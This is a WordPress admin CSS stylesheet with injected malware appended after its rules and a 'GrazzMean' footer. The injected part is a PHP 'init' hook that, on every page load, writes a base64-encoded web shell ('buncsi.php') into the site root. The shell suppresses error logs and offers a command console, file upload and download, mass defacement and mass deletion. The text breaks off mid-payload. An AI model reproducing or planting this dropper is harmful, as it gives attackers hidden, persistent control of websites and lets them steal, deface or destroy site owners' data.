	background-color: #fff;
	border-right-color: #3858e9;
}

.privacy_requests tr.status-request-failed td.check-column {
	background-color: #f6f7f7;
	border-right-color: #cc1818;
}

.privacy_requests .export_personal_data_failed a {
	vertical-align: baseline;
}

.status-label {
	font-weight: 600;
}

.status-label.status-request-pending {
	font-weight: 400;
	font-style: italic;
	color: #646970;
}

.status-label.status-request-failed {
	color: #d63638;
	font-weight: 600;
}

.privacy_requests .status-date {
	display: block;
	font-weight: 400;
}

.wp-privacy-request-form {
	clear: both;
}

.wp-privacy-request-form-field {
	margin: 1.5em 0;
}

.wp-privacy-request-form input[type="text"] {
	margin: 0;
}

/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 782px) {
	/* Input Elements */
	textarea {
		-webkit-appearance: none;
	}

	input[type="text"],
	input[type="password"],
	input[type="date"],
	input[type="datetime"],
	input[type="datetime-local"],
	input[type="email"],
	input[type="month"],
	input[type="number"],
	input[type="search"],
	input[type="tel"],
	input[type="time"],
	input[type="url"],
	input[type="week"] {
		-webkit-appearance: none;
		padding: 0 12px;
		min-height: 40px;
	}

	::-webkit-datetime-edit {
		line-height: 1.875; /* 30px */
	}

	input[type="checkbox"],
	.widefat th input[type="checkbox"],
	.widefat thead td input[type="checkbox"],
	.widefat tfoot td input[type="checkbox"] {
		-webkit-appearance: none;
	}

	.widefat th input[type="checkbox"],
	.widefat thead td input[type="checkbox"],
	.widefat tfoot td input[type="checkbox"] {
		margin-bottom: 8px;
	}

	input[type="checkbox"]:checked:before,
	.widefat th input[type="checkbox"]:before,
	.widefat thead td input[type="checkbox"]:before,
	.widefat tfoot td input[type="checkbox"]:before {
		width: 1.875rem;
		height: 1.875rem;
		margin: -0.1875rem -0.3125rem;
	}

	input[type="radio"],
	input[type="checkbox"] {
		height: 1.5625rem;
		width: 1.5625rem;
	}

	.wp-admin p input[type="checkbox"],
	.wp-admin p input[type="radio"] {
		margin-top: -0.1875rem;
	}

	input[type="radio"]:checked:before {
		vertical-align: middle;
		width: 0.5625rem;
		height: 0.5625rem;
		margin: 0.4375rem;
		line-height: 0.76190476;
	}

	.wp-core-ui select,
	.wp-admin .form-table select {
		min-height: 40px;
		font-size: 16px;
		line-height: 2.5; /* 40px for 16px font */
		padding: 0 12px 0 24px;
	}

	.wp-admin .button-cancel {
		margin-bottom: 0;
		padding: 2px 0;
		font-size: 14px;
		vertical-align: middle;
	}

	#adduser .form-field input,
	#createuser .form-field input {
		width: 100%;
	}

	.form-table {
		box-sizing: border-box;
	}

	.form-table th,
	.form-table td,
	.label-responsive {
		display: block;
		width: auto;
		vertical-align: middle;
	}

	.label-responsive {
		margin: 0.5em 0;
	}

	.export-filters li {
		margin-bottom: 0;
	}

	.form-table .color-palette .color-palette-shade,
	.form-table .color-palette td {
		display: table-cell;
		width: 15px;
		height: 30px;
		padding: 0;
	}

	.form-table .color-palette {
		margin-left: 10px;
	}

	textarea,
	input {
		font-size: 16px;
	}

	.form-table td input[type="text"],
	.form-table td input[type="email"],
	.form-table td input[type="password"],
	.form-table td select,
	.form-table td textarea,
	.form-table span.description,
	#profile-page .form-table textarea {
		width: 100%;
		display: block;
		max-width: none;
		box-sizing: border-box;
	}

	.form-table .form-required.form-invalid td:after {
		float: left;
		margin: -30px 0 0 3px;
	}

	input[type="text"].small-text,
	input[type="search"].small-text,
	input[type="password"].small-text,
	input[type="number"].small-text,
	input[type="number"].small-text,
	.form-table input[type="text"].small-text {
		width: auto;
		max-width: 4.375em; /* 70px, enough for 4 digits to fit comfortably */
		display: inline;
		padding: 3px 6px;
		margin: 0 3px;
	}

	.form-table .regular-text ~ input[type="text"].small-text {
		margin-top: 5px;
	}

	#pass-strength-result {
		width: 100%;
		box-sizing: border-box;
		padding: 8px;
	}

	.profile-php .wp-pwd .caps-warning {
		padding: 8px;
	}

	.password-input-wrapper {
		display: block;
	}

	.wp-core-ui .tablenav input[type="text"],
	.wp-core-ui .tablenav input[type="password"],
	.wp-core-ui .tablenav input[type="date"],
	.wp-core-ui .tablenav input[type="datetime"],
	.wp-core-ui .tablenav input[type="datetime-local"],
	.wp-core-ui .tablenav input[type="email"],
	.wp-core-ui .tablenav input[type="month"],
	.wp-core-ui .tablenav input[type="number"],
	.wp-core-ui .tablenav input[type="search"],
	.wp-core-ui .tablenav input[type="tel"],
	.wp-core-ui .tablenav input[type="time"],
	.wp-core-ui .tablenav input[type="url"],
	.wp-core-ui .tablenav input[type="week"],
	.wp-core-ui .tablenav select {
		min-height: 40px;
	}

	.wp-core-ui .tablenav .button {
		min-height: 40px;
		line-height: 2.71428571;
		padding: 0 14px;
	}

	p.search-box {
		float: none;
		width: 100%;
		margin-bottom: 20px;
		display: flex;
	}

	p.search-box input[name="s"] {
		width: 100%;
		float: none;
		margin-bottom: 10px;
		vertical-align: middle;
	}
	.js.plugins-php .search-box .wp-filter-search {
		width: 100%;
		margin-bottom: 0;
	}

	p.search-box input[type="search"],
	p.search-box input[type="text"] {
		min-height: 40px;
		padding: 0 12px;
	}

	p.search-box input[type="submit"].button {
		margin-bottom: 10px;
	}

	.form-table span.description {
		display: inline;
		padding: 4px 0 0;
		line-height: 1.4;
		font-size: 14px;
	}

	.form-table th {
		padding: 10px 0 0;
		border-bottom: 0;
	}

	.form-table td {
		margin-bottom: 0;
		padding: 4px 0 6px;
	}

	.form-table.permalink-structure td code {
		display: inline-block;
	}

	.form-table.permalink-structure .structure-selection {
		margin-top: 8px;
	}

	.form-table.permalink-structure .structure-selection .row > div {
		max-width: calc(100% - 36px);
		width: 100%;
	}

	.form-table.permalink-structure td input[type="text"] {
		margin-top: 4px;
	}

	.permalink-structure-has-blog-prefix {
		display: flex;
		align-items: center;
	}

	.form-table input.regular-text {
		width: 100%;
	}

	.form-table label {
		font-size: 14px;
	}

	.form-table td > label:first-child {
		display: inline-block;
		margin-top: 0.35em;
	}

	.background-position-control .button-group > label {
		font-size: 0;
	}

	.form-table fieldset label {
		display: block;
	}

	.form-field #domain {
		max-width: none;
	}

	/* New Password */
	.wp-pwd {
		position: relative;
	}

	/* Needs higher specificity than normal input type text and password. */
	#profile-page .form-table #pass1 {
		padding-left: 90px;
	}

	.wp-pwd button.button {
		background: transparent;
		border: 1px solid transparent;
		box-shadow: none;
		line-height: 2;
		margin: 0;
		padding: 5px 9px;
		position: absolute;
		left: 0;
		top: 0;
		width: 2.375rem;
		height: 2.375rem;
		min-width: 40px;
		min-height: 40px;
	}

	.wp-pwd button.wp-hide-pw {
		left: 2.5rem;
	}

	body.user-new-php .wp-pwd button.wp-hide-pw {
		left: 0;
	}

	.wp-pwd button.button:hover,
	.wp-pwd button.button:focus {
		background: transparent;
	}

	.wp-pwd button.button:active {
		background: transparent;
		box-shadow: none;
		transform: none;
	}

	.wp-pwd .button .text {
		display: none;
	}

	.wp-pwd [type="text"],
	.wp-pwd [type="password"] {
		line-height: 2;
		padding-left: 5rem;
	}

	body.user-new-php .wp-pwd [type="text"],
	body.user-new-php .wp-pwd [type="password"] {
		padding-left: 2.5rem;
	}

	.wp-cancel-pw .dashicons-no {
		display: inline-block;
	}

	.mailserver-pass-wrap .wp-pwd {
		display: block;
	}

	/* rtl:ignore */
	#mailserver_pass {
		padding-left: 10px;
	}

	.options-general-php input[type="text"].small-text {
		max-width: 6.25em;
		margin: 0;
		min-height: 40px;
	}

	/* Privacy Policy settings screen */
	.tools-privacy-policy-page form.wp-create-privacy-page {
		margin-bottom: 1em;
	}

	.tools-privacy-policy-page input#set-page,
	.tools-privacy-policy-page select {
		margin: 10px 0 0;
	}

	.tools-privacy-policy-page .wp-create-privacy-page span {
		display: block;
		margin-bottom: 1em;
	}

	.tools-privacy-policy-page .wp-create-privacy-page .button {
		margin-right: 0;
	}

	.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column),
	.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) th.column-primary:not(.check-column) {
		display: table-cell;
	}

	.wp-privacy-request-form-field input[type="text"] {
		width: 100%;
		margin-bottom: 10px;
		vertical-align: middle;
	}

	.regular-text {
		max-width: 100%;
	}
}

@media only screen and (max-width: 768px) {
	.form-field input[type="text"],
	.form-field input[type="email"],
	.form-field input[type="password"],
	.form-field select,
	.form-field textarea {
		width: 99%;
	}

	.form-wrap .form-field {
		padding: 0;
	}
}

@media only screen and (max-height: 480px), screen and (max-width: 450px) {
	/* Request Credentials / File Editor Warning */
	.request-filesystem-credentials-dialog .notification-dialog,
	.file-editor-warning .notification-dialog {
		width: 100%;
		height: 100%;
		max-height: 100%;
		position: fixed;
		top: 0;
		margin: 0;
		right: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	/* Color Picker Options */
	.color-option {
		width: 49%;
	}
}

@media only screen and (max-width: 320px) {
	.options-general-php .date-time-text.date-time-custom-text {
		min-width: 0;
		margin-left: 0.5em;
	}
}

@keyframes rotation {
	0% {
		transform: rotate(0deg);
	}
	100% {
		transform: rotate(-359deg);
	}
}
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0n